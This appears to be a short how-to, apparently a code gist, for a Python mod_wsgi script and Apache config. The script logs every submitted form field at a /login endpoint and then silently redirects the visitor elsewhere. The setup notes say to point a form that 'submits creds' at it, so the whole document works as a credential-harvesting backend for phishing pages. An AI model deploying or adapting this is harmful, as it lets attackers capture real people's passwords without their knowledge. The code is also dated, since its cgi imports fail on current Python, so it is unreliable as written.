Capture form data using Apache2 + mod_wsgi and Python (no PHP!)

captureform.py

# All output will be logged in /var/log/apache2/error.log

import logging
from cgi import parse_qs, escape

logging.basicConfig(format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s',
                    datefmt='%H:%M:%S',
                    level=logging.DEBUG)

def application(environ, start_response):
    status = '302 Found'
    output = b''

    # the environment variable CONTENT_LENGTH may be empty or missing
    try:
        request_body_size = int(environ.get('CONTENT_LENGTH', 0))
    except (ValueError):
        request_body_size = 0

    request_body = environ['wsgi.input'].read(request_body_size)
    data = parse_qs(request_body)

    logging.info("Got data: {}".format(data))

    response_headers = [('Location', 'https://mydomain.com/to/redirect/to'),
                        ('Content-Length', str(len(output)))]
    start_response(status, response_headers)

    return [output]
 

instructions.md

Setup

1. sudo apt-get install libapache2-mod-wsgi -y
2. Put Python script in the directory you want it in
3. sudo chown www-data:www-data /var/www/html/captureform.py
4. sudo chmod 755 /var/www/html/captureform.py
5. Configure the wsgi Apache mod, place the below wsgi.conf file in /etc/apache2/conf-available/wsgi.conf
6. sudo a2enconf wsgi
7. sudo systemctl restart apache2
8. Point the form that submits creds to the URL that's defined as the WSGI Alias (in this case /login, you can change that in the wsgi.conf file

Notes

• All output/errors from scripts ran with mod_wsgi will be logged to /var/log/apache2/error.log
• As of the time of writing, Python 2.7 will be used by mod_wsgi. If you want it to use Python 3.7 you're going to have to follow the intructions here to recompile mod_wsgi.

wsgi.conf

# Put me in /etc/apache2/conf-available/wsgi.conf
WSGIScriptAlias /login /var/www/html/captureform.py